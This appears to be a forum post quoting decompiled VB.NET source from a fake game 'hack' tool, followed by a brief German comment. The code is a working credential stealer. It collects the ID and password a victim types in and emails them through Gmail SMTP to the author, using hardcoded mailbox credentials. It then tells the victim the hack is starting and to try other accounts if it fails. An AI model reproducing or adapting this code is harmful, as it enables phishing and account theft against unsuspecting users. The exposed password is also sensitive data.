Private Sub Button1_Click(ByVal sender As Object, ByVal e As EventArgs)
If (Me.TextBox1.Text = "") Then
Interaction.MsgBox("ID wurde nicht eingegeben", MsgBoxStyle.OkOnly, Nothing)
If (Me.TextBox2.Text = "") Then
Interaction.MsgBox("Passwort wurde nicht eingegeben", MsgBoxStyle.OkOnly, Nothing)
End If
End If
Dim client As New SmtpClient
Dim message As New MailMessage
client.Credentials = New NetworkCredential("
", "loel1234567")
client.Port = &H24B
client.Host = "smtp.gmail.com"
client.EnableSsl = True
message = New MailMessage With { _
.From = New MailAddress("
") _
}
message.To.Add("
")
message.Subject = ("Username: " & Me.TextBox1.Text)
message.Body = ("ID: " & Me.TextBox1.Text & ", Passwort: " & Me.TextBox2.Text)
client.Send(message)
Interaction.MsgBox("Login wird gestartet.... Falls der Hack nicht mit dem Client startet bitte neu versuchen und ID + PW pr" & ChrW(252) & "fen! Falls nicht wieder funktioniert dann bitte anderen Account versuchen ", MsgBoxStyle.OkOnly, Nothing)
Me.Close
End Sub
) :|
hat er auch nicht anders verdient
